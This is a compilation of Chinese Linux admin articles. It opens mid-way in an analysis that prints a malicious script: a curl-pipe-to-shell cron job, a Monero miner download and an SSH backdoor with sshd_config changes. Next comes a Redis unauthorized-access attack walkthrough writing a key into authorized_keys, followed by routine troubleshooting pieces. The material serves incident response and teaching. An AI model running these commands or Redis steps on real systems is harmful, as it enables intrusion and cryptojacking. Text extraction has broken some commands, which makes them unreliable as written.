QtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr& 

  

    if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then 

         mkdir -p ~/.ssh 

         rm -f ~/.ssh/authorized_keys* 

         echo 

"ssh-    rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDO

WKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvI

Ak/Ag1xBkB    CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53m

zb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z

/sDCVHT5FIFN+tKez3tx    L6NQHTz405PD3GLWFsJ1A/Kv9Roj
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F6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXm

VqZlXzzr6K9AZpOM+ULHzdzqrA3SX    1y993qHNytbEgN+9IZC

WlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" 

> ~/.ssh/KHK75NEOiq 

         echo "PermitRootLogin yes">> /etc/ssh/sshd_config 

         echo "RSAAuthentication yes">> /etc/ssh/sshd_config 

         echo "PubkeyAuthenticationyes" >> 

/etc/ssh/sshd_config 

         echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> 

/etc/ssh/sshd_config 

         /etc/init.d/sshd restart 

    fi 

  

    if [ ! -f"/opt/yam/yam" ]; then 

         mkdir -p /opt/yam 

         curl -f -Lhttps://r.chanstring.com/api/download/yam -o 

/opt/yam/yam 

         chmod +x /opt/yam/yam 

         # /opt/yam/yam -c x 

-    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7

myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpb

QtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr 
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    fi 

  

    if [ ! -f"/opt/gg3lady" ]; then 

         curl -f 

-Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` 

-o /opt/gg3lady 

         chmod +x /opt/gg3lady 

    fi 

  

    # yam=$(ps auxf| grep yam | grep -v grep | wc -l) 

    # gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l) 

    # cpu=$(cat/proc/cpuinfo | grep processor | wc -l) 

  

    # 

curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cp

u\&gg3lady=$gg3lady\&arch=`uname-i` 

 

 于是终于找到源头了，下面我们来分析下这个脚本 

 6 脚本分析 

   

    echo "*/2 * * * * curl -L https://r.chanst

ring.com/api/report?pm=1 | sh" > /var/spool 
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    /cron/root   每两分钟来一次这个脚本 

  

        echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || 

nohup /opt/gg3lady &">> /var/spool/cron/root 

    这个脚本我不知道干么的应该是生成这个自动任务文件

的守护进程以至于删除自动任务文 

    件会自动再来一份  脚本进程死了这个自动任务又会起

来 

    ps auxf | grep -v grep | grep yam || nohup

 /opt/yam/yam -c x -M stratu 

    m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGF

y7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV 

    6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:66

66/xmr & 

    这个是挖矿脚本，黑客靠这个连接池去挖 btc（比特币）

意思就是这个肉鸡已经提供了 

        下面这个就是一个免密钥登陆的脚本了 
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下面这两个是下载文件的脚本跟赋权限 

 

 

    整个脚本的大致就这样   

 7  处理方法只要把 /var/spool/cron/root 删

除  /opt/yam/yam   删除   /opt/gg3lady 删

除  .ssh/KHK75NEOiq 删除 

 

    把 gg3lady  yam     进程结束还有就是 sshd_confg 文件

还原，把 redis 入侵的 key 删除应该就没问题了。但是为了安全

起见还是希望 

http://s5.51cto.com/wyfs02/M00/83/11/wKioL1dqK8vglYPIAAAuERTGDGs698.png
http://s5.51cto.com/wyfs02/M01/83/12/wKiom1dqK97xIkbuAABC6oJYNno853.png
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    重装服务器，不确保别人 不留其他的漏洞 

 

    关于 reidis 未授权登陆漏洞 

    漏洞概要 

  

        Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将

Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以

导致任意用户在可以访问目标服务器的情况下未授权访问 Redis

以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可

以利用 Redis 的相关方法，可以成功将自己的公钥写入目标服务

器的 /root/.ssh 文件夹的 authotrized_keys 文件中，进而可以直

接登录目标服务器。 

     

     漏洞概述 

  

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis

服务暴露到公网上，如果在没有开启认证的情况下，可以导致任

意用户在可以访问目标服务器的情况下未授权访问Redis以及读

取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用

Redis 的相关方法，可以成功将自己的公钥写入目标服务器

的 /root/.ssh 文件夹的 authotrized_keys 文件中，进而可以直接

登录目标服务器。 
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    漏洞描述 

 

Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络

中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。 

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 

99.99%使用 Redis 的场景都是在沙盒化的环境中, 为了 0.01%

的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的

并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。 

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等

原因，部分 Redis 绑定在 0.0.0.0:6379，并且没有开启认证（这

是 Redis 的默认配置），如果没有进行采用相关的策略，比如添

加防火墙规则避免其他非信任来源 ip 访问等，将会导致 Redis

服务直接暴露在公网上，导致其他用户可以直接在非授权情况下

直接访问 Redis 服务并进行相关操作。 

利用 Redis 自身的相关方法，可以进行写文件操作，攻击者可以

成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的

authotrized_keys 文件中，进而可以直接登录目标服务器。  （导

致可以执行任何操作） 

  

   漏洞影响 
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Redis 暴露在公网（即绑定在0.0.0.0:6379，目标 IP公网可访问），

并且没有开启相关认证和添加相关安全策略情况下可受影响而

导致被利用。 

这里我可以演示一遍给大家看看怎么通过 redis 未授权漏洞直接

免密钥进行登陆 

 

    攻击过程 

（注意我本机是 162   要入侵的服务器是 161） 

 

 

 

1 生成本地服务器私钥跟公钥 

 

http://s1.51cto.com/wyfs02/M01/83/12/wKioL1dqLJvDITeNAABC6oJYNno815.png
http://s1.51cto.com/wyfs02/M02/83/12/wKioL1dqLJyTD6F2AABD7qqa9XA658.png
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2 把公钥写进我们要攻击的服务器的 redis一个key里面去 (为什

么要把公钥加空格追加到一个文件是因为 redis 的存储) 

http://s3.51cto.com/wyfs02/M02/83/12/wKiom1dqLLyyL2m9AAAva4Wtmo4136.png
http://s3.51cto.com/wyfs02/M01/83/12/wKiom1dqLL-A1fY_AADyMeMVKEw018.png
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3  登陆要攻击的服务器 redis 控制台，从新定义 redis 保存数据

的路径为 configset dir /root/.ssh/（这个是需要知道 linux 下面

ssh 面密钥登陆的 key 默认的存放才能设定的默认情况下是

/roo/.ssh 一般情况下很多管理员都不会去更改），在把 reids 的

dbfilename 定于成 linux 下面 ssh 面密钥登陆的文件名就好了

configset dbfilename "authorized_keys" （ 默 认 文 件 名 是

authorized_keys 这个广大 linux 管理员都这个这个所以这个入

侵还是要点 linux 功底的），最后保存 save 

 

http://s2.51cto.com/wyfs02/M00/83/12/wKiom1dqLNWDQAX7AAA4r99YABk650.png
http://s2.51cto.com/wyfs02/M00/83/12/wKiom1dqLPKzu35oAAAPgAVirMI768.png
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4 激动人心的时刻到了直接 ssh 登陆 192.168.8.161  无需要密

码就能登陆了 

 

 

 到这里我们就可以完全控制别人的服务器了，你先怎么玩就怎

么玩了（仅供学习研究） 

http://s2.51cto.com/wyfs02/M01/83/12/wKioL1dqLQ-ztPhcAAA7sLoVm8E538.png
http://s5.51cto.com/wyfs02/M01/83/12/wKiom1dqLR-C0r7GAACH3oaaUz4208.png
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6 这里我搜了下全球暴露公网的还有 10W+的的服务器,（仅供学

习研究,希望不要利用教程去做违法的事情） 

 

 

 

 

经验之谈：nginx php 502 bad gateway 解决方法 

今天在使用 nginx 时发现运行 php 页面会提示 502 bad gateway 这

类错误了，下面我根据各位群友提供的一些方法完美的解决了

502 bad gateway 问题。 

http://s3.51cto.com/wyfs02/M01/83/12/wKioL1dqLaeh8ItQAADys-kOvOA395.png
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访问 phpMyAdmin 时，出现下面错误。 

phpMyAdmin – Error 

Cannot start session without errors, please check errors given in your 

PHP and/or webserver log file and configure your PHP installation 

properly.第一次打开提示,刷新提示： 

502 bad gateway 

查看 nginx error log： 

[error]  recv() failed (104: Connection reset by peer) while reading 

response header from upstream, client:, server: , request: "GET / 

HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: 

"mysql.veryi.com" 

查看 php session.save_path 的设置，默认是/var/lib/php/session。

修改该目录 nginx 进程的用户有读写权限。问题解决。 

其他可能： 

部分 PHP 程序的执行时间超过了 Nginx 的等待时间，可以适当

增加 nginx.conf 配置文件中 FastCGI 的 timeout 时间，例如： 

 代码如下 复制代码 

http 

{ 

fastcgi_connect_timeout 300; 

fastcgi_send_timeout 300; 

http://www.111cn.net/list-195/
http://www.111cn.net/fw/photo.html
http://www.111cn.net/tags.php/request/
http://www.111cn.net/tags.php/php+session/
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fastcgi_read_timeout 300; 

} 

php.ini 中 memory_limit 设低了会出错，可以加大 php.ini 的

memory_limit 为 64M。 

附整理了一些其它可能导致 502 bad gateway 错误原因 

.php-fpm 进程数不够用 

使用 netstat -napo |grep "php-fpm" | wc -l 查看一下当前 fastcgi 进

程个数，如果个数接近 conf 里配置的上限，就需要调高进程数。 

但也不能无休止调高，可以根据服务器内存情况，可以把 php-fpm

子进程数调到 100 或以上，在 4G 内存的服务器上 200 就可以。 

 

2. 调高调高 linux 内核打开文件数量 

可以使用这些命令(必须是 root 帐号) 

echo 'ulimit -HSn 65536' >> /etc/profile 

echo 'ulimit -HSn 65536' >> /etc/rc.local 

source /etc/profile 

 3.脚本执行时间超时 

如果脚本因为某种原因长时间等待不返回 ，导致新来的请求不

能得到处理，可以适当调小如下配置。 

nginx.conf 里面主要是如下 

fastcgi_connect_timeout 300; 

fastcgi_send_timeout 300; 

http://www.111cn.net/list-156/
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fastcgi_read_timeout 300; 

php-fpm.conf 里如要是如下 

request_terminate_timeout = 10s 

4.缓存设置比较小 

修改或增加配置到 nginx.conf 

proxy_buffer_size 64k; 

proxy_buffers  512k; 

proxy_busy_buffers_size 128k; 

5. recv() failed (104: Connection reset by peer) while reading 

response header from upstream 

可能的原因机房网络丢包或者机房有硬件防火墙禁止访问该域

名 

但最重要的是程序里要设置好超时，不要使用 php-fpm 的

request_terminate_timeout， 

最好设成 request_terminate_timeout=0; 

 

如何防止 Linux 命令行下 MySQL 登录密码泄露？ 

命令行登录防止 MySQL 密码泄露的几个小妙招。 

明知山有虎偏向虎山行的方案： 

1、可以通过如下环境变量强制 Linux 不记录敏感历史命令 
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在命令行执行 HISTCONTROL=ignorespace 后，再输入带密码

的命令的前面加一个空格登录，登录命令不会被记录到历史记录

里。 

[root@oldboy~]# HISTCONTROL=ignorespace      

#<==这里是临时生效，要想永久生效，请放入/etc/bashrc。 

[root@oldboy~]#  mysql -uroot -p'oldboy123'  

#<==命令的开头要多一个空格。 

2、操作完敏感的命令后可以及时删除命令行记录 

执行“history -d 历史命令序号” 清除指定历史记录命令 

[root@oldboy~]# history|tail -4      

#<==显示历史记录。 

  252  mysql -uroot -p'oldboy123'     

#<==此条带密码，敏感，待删除。 

  253 pwd 

  254 history 

  255 history|tail -4 

[root@oldboy~]# history -d 252      

#<==删除序号为 252 的历史记录。 

[root@oldboy~]# history|tail -5 

  252 pwd                           
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#<==序号 252 对应的带密码登录的命令已经消失。 

  253 history 

  254 history|tail -4 

  255 history -d 252 

  256 history|tail -5 

执行“history -c”清除所有所有记录 

[root@oldboy~]# history -c 

[root@oldboy~]# history 

    1 history 

执行“>~/.bash_history”清除历史记录文件 

3、给带密码的启动脚本以及备份脚本等加 700 权限，用户和组

改为 root。 

chmod700 /data/3306/mysql             

#<==可以采用 kill 信号的关闭方式数据库，从而防止密码泄露。 

chmod700 /server/scripts/bak.sh        

#<==将密码写入 my.cnf 配置文件，使得执行备份命令不需要加

密码。 

4、把密码写入 my.cnf 配置文件并加 700 权限，用户和组改为

mysql。 

[root@oldboy~]# cp /application/mysql/my.cnf /etc/ 
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[root@oldboy~]# grep -A 2 client /etc/my.cnf        

#<==配置文件开头添加如下三行，无需重启系统。 

[client]                 

#<==客户端模块标签。 

user=root                 

#<==用户参数及密码。 

password=oldboy123       

#<==密码参数及密码。 

[root@oldboy~]# mysql    

#<==此时登录数据库就不用输入密码了。 

Welcometo the MySQL monitor.  Commands end with; or \g. 

YourMySQL connection id is 8 

Serverversion: 5.6.34 Source distribution 

...省略若干行... 

Type'help;' or '\h' for help. Type '\c' to clear the current input 

statement. 

mysql> 

知道山上有老虎，就不去的的方法： 

[root@oldboy~]# mysql -uroot -p  
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#<==这里标准 dba 命令行登陆命令，交互式输入密码可有效防

止密码泄露。 

Enter password: 

 

如何利用命令进行实现对文件的授予额外的访问权限 

 

1. 如果有两个用户 tom 和 jerrry，tom 用户将相应管理的目录设

置为共享权限，jerry 是否可以进行访问 

2. 如果 jerry 如何进行访问？ 

提示：不能用 root 用户权限，因为 root 用户在企业中不一定谁

都可以有权限使用 

FACL: Filesystem Access Control List（文件系统访问控制列表）； 

利用文件扩展属性，保存了额外的访问权限，即可以指定相应的

用户访问这个文件有什么样的权限 

即：tom 所要共享的目录，所属的属主依然是 tom，所属的属组

依然是 jerry，并且其它用户权限依然是只读 

只是对共享目录的访问权限进行额外指定，指定 jerry 这个用户

具有 rw 的权限，但是对目录而言，jerry 不是属主也不是属组，

所以是利用了文件的扩展属性。 

 

如何利用命令进行实现对文件的授予额外的访问权限 
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setfacl 命令：表示设置 acl 信息 

getfacl 命令：表示获取 acl 信息 

[root@nfs-server data]# mkdir /backup 

[root@nfs-server data]# cd /backup 

[root@nfs-server backup]# cp /etc/inittab ./ 

[root@nfs-server backup]# getfacl inittab             #<- 查看

相应文件的 acl 信息 

# file: inittab                                       #<- 表

示说明文件的名称信息 

# owner: root                                         #<- 

表示说明文件的属主信息 

# group: root                                         #<- 

表示说明文件的属组信息 

user::rw-                                             #<- 

表示属主的权限信息 

group::r--                                            #<- 

表示属组的权限信息 

other::r--                                            #<- 

表示其它用户的权限信息 

说明：并没有额外的扩展的访问控制列表信息。 

 

如果需要实现对文件的拥有额外扩展的访问控制列表权限： 



资源由 www.eimhe.com 美河学习在线收集分享 

 

需要使用 setfacl 命令进行配置即可，setfacl 命令涉及到的命令参

数如下说明： 

 

参数 参数说明 

-m    表示设定额外的访问控制列表；设定可以设定在用户上，

也可以设定在组上，要分开设定 

u:UID:perm  表示设定在用户上，对指定用户有什么样的扩展访

问权限 

g:GID:perm  表示设定在用户组上，对指定用户组有什么样的扩

展访问权限 

-x 表示取消额外的访问控制列表 

setfacl -x u:oldboy inittab  

setfacl -x g:oldboy inittab  

 

[root@nfs-server backup]# setfacl -m u:oldboy:rw inittab  

[root@nfs-server backup]# su - oldboy 

[oldboy@nfs-server ~]$ cd /backup 

[oldboy@nfs-server backup]$ echo test.inf >>inittab  

[oldboy@nfs-server backup]$ tail -1 inittab  

test.inf 

[root@nfs-server backup]# getfacl inittab  

# file: inittab 
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# owner: root 

# group: root 

user::rw- 

user:oldboy:rw-     #<- 多了一个扩展的额外的用户访问权限

信息 

group::r-- 

mask::rw- 

other::r-- 

 

 

NGINX 反向代理导致大文件下载失败 
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记一次流量异常处理  

前两天接到一个做开发的朋友电话，说他们客户一台服务器开机

后，所有一个网段的机器上网都变慢了，他远程操作这台服务器

也一卡一卡的。 

我第一反应就是机器被人攻击过了，因为我之前也遇到过类似的

现象。大概都是 tomcat 管理密码设置的比较弱，被人上传了一

些 war 包，导致服务器拼命往外发包，或者是被人恶意上传了一

http://blog.chinaunix.net/uid-23916356-id-5675116.html
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些 php 文件，也是往外发送大量的数据包。总而言之，往外发送

大量数据包基本都是被人攻击过啦！下面看看我是怎么处理的。 

1、首先我给他一个脚本，确认一下是网卡异常流量引起。注意

网卡改成你的外网网卡名称。 

点击(此处)折叠或打开 

1. while : ; do 

2. time=`date "+%Y-%m-%d %H:%M:%S"` 

3. rx_before=`ifconfig eth0|sed -n "8"p|awk '{pr

int $2}'|cut -c7-` 

4. tx_before=`ifconfig eth0|sed -n "8"p|awk '{pr

int $6}'|cut -c7-` 

5. sleep 2 

6. rx_after=`ifconfig eth0|sed -n "8"p|awk '{pri

nt $2}'|cut -c7-` 

7. tx_after=`ifconfig eth0|sed -n "8"p|awk '{pri

nt $6}'|cut -c7-` 

8. rx_result=$[(rx_after-rx_before)/256] 

9. tx_result=$[(tx_after-tx_before)/256] 

10. echo "$time Now_In_Speed: "$rx_result"kbps No

w_OUt_Speed: "$tx_result"kbps" 

11. sleep 2 

12. done 
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然后运行这个脚本 

点击(此处)折叠或打开 

1. sh traffic.sh 

执行之后我们会看到偶尔流出的流量惊人。 

点击(此处)折叠或打开 

1. 2016-02-03 13:32:01 Now_In_Speed: 5kbps Now_O

Ut_Speed: 0kbps 

2. 2016-02-03 13:32:05 Now_In_Speed: 2kbps Now_O

Ut_Speed: 0kbps 

3. 2016-02-03 13:32:09 Now_In_Speed: 1kbps Now_O

Ut_Speed: 0kbps 

4. 2016-02-03 13:32:13 Now_In_Speed: 1kbps Now_O

Ut_Speed: 664567kbps 

5. 2016-02-03 13:32:17 Now_In_Speed: 6kbps Now_O

Ut_Speed: 657895kbps 

6. 2016-02-03 13:32:21 Now_In_Speed: 3kbps Now_O

Ut_Speed: 568462kbps 

7. 2016-02-03 13:32:25 Now_In_Speed: 4kbps Now_O

Ut_Speed: 0kbps 

2、问题确定了，我们就好办了，上图我截图很少，而且我还发

现了很有规律的事情，大概每二十多秒就会发出 3-4 个左右相当

大的数据包。既然有规律那就肯定是后台有程序在运行。我查看
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了一下服务器是不是运行了 tomcat？结果 webapps 目录下没有

一些异常的 jar 包。我再查了一下是不是 apache 什么的，结果

服务器上就只发现运行了 oracle，根据自己的排查故障经验，

我和朋友说了把 oracle 关闭。缩小故障查找范围，好确认不是

oracle 引起的。 

3、在用 ps -ef 看了一下基本看不出，因为进程太多了，而且很

多系统的进程我也不认识，没有看到什么异常进程。只有一个

tomcat 进程，kill 之后一会又起来了，很奇怪。肯定是什么守

护程序一直启动。 

4、上面说了一开机启动就会出现这个现象，那么还肯定是启动

服务或者启动脚本里面写了什么代码，结果 rc.local文件也正

常。那么看/etc/init.d 目录下的启动脚本，有没有新增的或者

可疑的？果然发现了一个 functions 和 DbSecuritySpt 文件，我

将这两个文件移走，然后故障依旧。看了一下 DbSecuritySpt 文

件里面内容： 

点击(此处)折叠或打开 

1. #!/bin/bash 

2. /usr/local/apache-tomcat-6.0.44/webapps/eei/g

fty 

初步一看这是一个很正常的脚本文件啊！一般病毒文件都是打不

开的。问了我朋友说不是他们写的，那我只能将这个文件移走，

然后也很二逼似的把那个 functions 文件也移走了，结果他们重
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启机器后，告诉我服务器起不来啦！截图如下： 

 

一看上图的报错我心想肯定是那个 functions 文件移走报错了。

不过还好这是个虚拟机，我远程连接宿主机上。 

然后在上图界面输入 root 密码后，执行 mount -o remount rw /

后将 functions 文件移到/etc/init.d 目录下重新启动。但是重

启还是报错，说要检查文件系统块文件，又执行 fsck -y /dev/sda

后提示重启，重启后系统正常运行。没有 tomcat 那个进程了，

但是还是偶尔往外拼命往外发包啊！ 

5、我又上网查了一下很多网友说是将/tmp 目录下有一些的文件

里面写了 PID 号，但是我根据这些 PID 号没有找到这些进程，我

把这两个文件移走了。重启系统故障依旧。而且操作很卡真的很

恶心，加上我自己的笔记本一上午关机 7 次，应该硬件老化的原
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因，比较 2010 年买的。哎！此处心中一万个草泥马飘过。 

6、又咨询了朋友说 iftop 工具能看的出来，我试了也不行，爆

卡，后来又是是 iptraf 工具，这两个工具都没安装，又花了很

多安装时间，结果也看不出来啊！拿一个 iptraf 工具我们看看，

如下图所示： 

 

7、又看了一下 chkconfig 开机启动有没有异常的服务，一看服

务太多了，也很难发现。 

8、我在想是不是每次连续发送几个大包的时候是不是那个进程

也会占用很高的 CPU 使用率呢？再一边观察流量脚本运行的情

况，一边又执行 top 看看是不是哪个进程导致。有一个 getty 进

程偶尔能跑到 70%多，结果一查看是有 6 个终端，然后关闭了多

余的终端，但是还是异常。也没发现别的进程占用很高的 CPU 使

用率。 

9、最后我想用 netstat -an | more测试，一个一个排查当前服
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务器开放端口，因为我朋友说客户也不是很懂 linux，开放了很

多 端 口 暴 露 在 互 联 网 上 。 发 现 了 一 个

xxxx.51545->119.147.145.221:6001 异常，然后我查看了一下

这个 51545 端口对应的进程，如下所示： 

 

这个进程执行的正是 getty 命令，说明和我上面一个 getty 进程

偶尔跑到 70%多使用率，查的正好符合。我尝试将这个 1587 进

程号 kill 掉，再观察一段时间脚本流出流量基本为 0 了，也就

是正常了。也就是说这台服务器通过 51545 端口去连接互联网上

的 119.147.145.221 这台服务器的 6001 端口，查看了这个 IP 地

址是广东电信的。 

但是事情还没有完结，上面说了肯定是开机启动程序里面运行

的，而且这个目的 119.147.145.221 地址肯定是在病毒文件里面

隐藏的。我进到/etc/rc.d 目录下看了一下： 

 

看样子每个启动级别都被人置放病毒文件啦！ 
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都是软件连哈！不过这个文件被我第四步的时候移走了，然后我

们还看到了一个可疑的 selinux 文件，因为它和 DbSecuritySpt

文件的时间戳和别的启动脚本文件不一样。这就测试你的眼睛尖

不尖了哈~~  

 

再看看这个/usr/bin/bsd-port 目录下的东东哈！ 

 

赶紧删除/etc/init.d/selinux 文件和/usr/bin/bsd-port 目

录。然后重启再试试看，系统一切正常！网卡流量也一切正常。

然后修改 root 密码，但是很遗憾这里查不出是因为系统的漏洞

还是程序的漏洞导致被恶意上传代码文件的。 
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故障处理总结： 

1、服务器一定要尽少量的使用密码登录，最好是密钥加密码登

录。 

2、少开一些和业务无关的端口。 

3、查问题一定要用排除法。眼睛要尖。 

4、还是对系统很多脚本和进程不是很熟悉。 

4、虽然解决了，但是这个机器还是被人上传过的，不确定是不

是还会有一些不稳定的因素，建议最好还是重新安装系统。 
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LINUX 运维实战案例之文件已删除但空间不释放问题的分析与

解决办法 

1、错误现象 

运维的监控系统发来通知，报告一台服务器空间满了，登陆服务

器查看，根分区确实没有空间了，如下图所示： 

  

 

这里首先说明一下服务器的一些删除策略，由于 Linux没有回收

站功能，我们的线上服务器所有要删除的文件都会首先移动到系

统/tmp 目录下，然后定期清除/tmp 目录下的数据。这个策略本

身没有问题，但是通过检查发现这台服务器的系统分区中并没有

单独划分/tmp 分区，这样/tmp 下的数据其实是占用了根分区的

空间。既然找到了问题，那么删除/tmp 目录下一些大数据即可，

执行如下命令，检查/tmp 下最大的三个数据文件，如下图所示： 

1 

2 

3 

4 

[root@localhost~ ]# du -s /tmp/*|sort -nr|head -

3 

69206016 /tmp/access_log 

36 /tmp/hsperfdata_root 

http://s3.51cto.com/wyfs02/M02/3A/45/wKioL1O7cFfxA4-BAAB6s9F7xWE508.jpg
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36 /tmp/hsperfdata_mapred 

通过命令输出发现在/tmp 目录下有个 66G 大小的文件

access_log，这个文件应该是 apache 产生的访问日志文件，从

日志大小来看，应该是很久没有清理 apache 日志文件了，基本

判定是这个文件导致的根空间爆满，在确认此文件可以删除后，

执行如下删除操作： 

[root@localhost ~]#  rm  /tmp/access_log 

接着查看系统根分区空间是否释放，如下图所示： 

  

 

从输出可以看到，根分区空间仍然没有释放，这是怎么回事？ 

 

2、解决思路 

一般说来不会出现删除文件后空间不释放的情况，但是也存在例

外，比如文件被进程锁定，或者有进程一直在向这个文件写数据

等等，要理解这个问题，就需要知道 Linux 下文件的存储机制和

存储结构。 

一个文件在文件系统中的存放分为两个部分：数据部分和指针部

分，指针位于文件系统的 meta-data中，数据被删除后，这个指

针就从 meta-data中清除了，而数据部分存储在磁盘中，数据对

http://s3.51cto.com/wyfs02/M00/3A/45/wKioL1O7cHXhiY_EAAB6s9F7xWE440.jpg
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应的指针从 meta-data 中清除后，文件数据部分占用的空间就可

以被覆盖并写入新的内容，之所以出现删除 access_log 文件后，

空间还没释放，就是因为 httpd 进程还在一直向这个文件写入内

容，导致虽然删除了 access_log 文件，但文件对应的指针部分

由于进程锁定，并未从 meta-data 中清除，而由于指针并未被删

除，那么系统内核就认为文件并未被删除，因此通过 df 命令查

询空间并未释放也就不足为奇了。 

 

3、问题排查 

既然有了解决问题的思路，那么接下来看看是否有进程一直在向

acess.log 文件中写数据，这里需要用到 Linux 下的 lsof 命令，

通过这个命令可以获取一个已经被删除但仍然被应用程序占用

的文件列表，命令执行如下图所示： 

 

 

 

从输出结果可以看到，/tmp/acess.log 文件被进程 httpd 锁定，

而 httpd 进程还一直向这个文件写入日志数据，从第七列可知，

这个日志文件大小仅 70G，而系统根分区总大小才 100G，由此可

http://s3.51cto.com/wyfs02/M00/3A/45/wKiom1O7cLfB1_vUAAGEQwwNhWI351.jpg
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知，这个文件就是导致系统根分区空间耗尽的罪魁祸首，在最后

一列的“deleted”状态，说明这个日志文件已经被删除，但由

于进程还在一直向此文件写入数据，空间并未释放。 

 

4、解决问题 

到这里问题就基本排查清楚了，解决这一类问题的方法有很多

种，最简单的方法是关闭或者重启 httpd 进程，当然也可以重启

操作系统，不过这并不是最好的方法，对待这种进程不停对文件

写日志的操作，要释放文件占用的磁盘空间，最好的方法是在线

清空这个文件，可以通过如下命令完成： 

[root@localhost ~]# echo " " >/tmp/acess.log 

通过这种方法，磁盘空间不但可以马上释放，也可保障进程继续

向文件写入日志，这种方法经常用于在线清理 Apache、Tomcat、

Nginx 等 Web 服务产生的日志文件。 

 

 

 Centos 的 GRUB 故障排除 

环境：centos-6.4 x86_64 

所需工具：CentOS-6.4-x86_64-LiveDVD.iso 下载地址：

http://mirrors.163.com/centos/6.4/isos/ 

 

首先介绍 centos 的引导过程： 

http://mirrors.163.com/centos/6.4/isos/
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加电自检，然后根据 bios 引导设置（引导有硬盘引导，光盘引

导，U 盘引导，网络引导），引导完成后进入 grub 菜单，选择

要引导的系统，引导分区，最后到 init 

Gurb 里面包含有 stage1 （在 mbr 进行加载）、stage1_5（识

别/boot/分区文件系统） stage2 

接下来就说说常见的故障以及故障的排除； 

 

第一类故障就是 stage1 失效 

常见的第一类故障就是 stage1 失效，那我们来看一下当 stage1

失效时开机会出现什么状况， 

由于我们是通过实验环境来模拟的，所以可以通过命令 dd 

if=/dev/zero of=/dev/sda bs=446 count=1 

 

然后重启 

http://img1.51cto.com/attachment/201312/185142616.png
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就会看到出现这样的界面，因为在我的虚拟机里插入了系统的安

装盘，所以当系统失效时会尝试从光盘引导，到了这里选择第三

项 Rescue installed system 进入救援模式或者按 esc 键然后

输入 linux rescue 也是可以的。 

接着就出现这样的界面 

http://img1.51cto.com/attachment/201312/185215734.png
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选择语言，就选英语， 

 

键盘选择 us 

http://img1.51cto.com/attachment/201312/185235150.png
http://img1.51cto.com/attachment/201312/185249897.png
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这个是安装文件放在哪里，我们用的是系统安装光盘，当然实在

本地光盘上了，我们就选第一个 

 

http://img1.51cto.com/attachment/201312/185303310.png
http://img1.51cto.com/attachment/201312/185316545.png


资源由 www.eimhe.com 美河学习在线收集分享 

 

是否启用网络功能，因为我们不需要所以选择 No 

 

选择继续 

http://img1.51cto.com/attachment/201312/185330398.png
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告诉你光盘已经挂载到/mnt/sysimage 目录下了，可以通过

chroot /mnt/sysimage 命令切换到目录 

 

选择 ok 继续， 

http://img1.51cto.com/attachment/201312/185344374.png
http://img1.51cto.com/attachment/201312/185357939.png
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启动一个 shell，这样就进入命令模式了 

这里先选择第一项开启脚本： 

     

2． 此时输入 chroot  /mnt/sysimage     改变根 

   3.  在输入 grub-install   /dev/sda      重建 mbr 的 stage1

（bootloader） 

http://img1.51cto.com/attachment/201312/185510239.png
http://img1.51cto.com/attachment/201312/225111300.png
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   4..  重建之后再输入两次 exit 退回到此界面选择 reboot

即可如图： 

     

 

 

到这里就重建完成了，然后输入两次 exit 退出，选择 reboot 重

启 

 

这样系统就可以启动了，由于要重建策略，所以会启动比较慢 

http://img1.51cto.com/attachment/201312/224644118.png
http://img1.51cto.com/attachment/201312/185538686.png
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第二类故障就是 stage2 失效 

stage2 失效： 

模拟 stage2 失效： 

进入/boot/grub 目录下，可以找到 stage2 

输入命令：  rm stage2      (直接删除 stage2 ) 

输入 ：       init  6  （重启，此时系统启动不了

了并出现错误 Error 15） 

 

当 stage2 失效时开机就会报错 

 

出现这种错误的时候就要借助 CentOS-6.4-x86_64-LiveDVD.iso

的光盘引导了，插入光盘之后重新启动选择光盘引导 
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=======================================================

=======================================================

============== 

1、用安装光盘引导系统或者 U 盘直接引导 

2、如果是援救模式就在光盘或者 U 盘启动后选择 linux rescue,

然后选择语言和键盘方式,不小心将引导写入 U 盘的孩纸们，请

直接用 U 盘引导进入系统，fdisk -l 查看你的系统磁盘，然后在#

命令行输入 grub 进入 grub 模式. 

3、在#提示符，援救模式下 chroot /mnt/sysimage（如果你用 U

盘引导或者光盘已经进入系统可以省略这一步）直接查看磁盘挂

载后执行下面的命令然后修改 grub.conf 即可 
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1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

执行下面这条命令将引导写入你的硬盘（我的 boot 盘是挂载在

sdb1 上的） 

/sbin/grub-install /dev/sdb     

  

###保存退出 

###这里的 /dev/sdb 指你的硬盘 或者你直接引导的某分区 

/sbin/grub-install /dev/sdb1 也就是你的 boot 挂载分区   

  

然后修改 /etc/grub.conf 里面修改为 (hd0,0)  

重启系统 reboot   

  

问题解决 

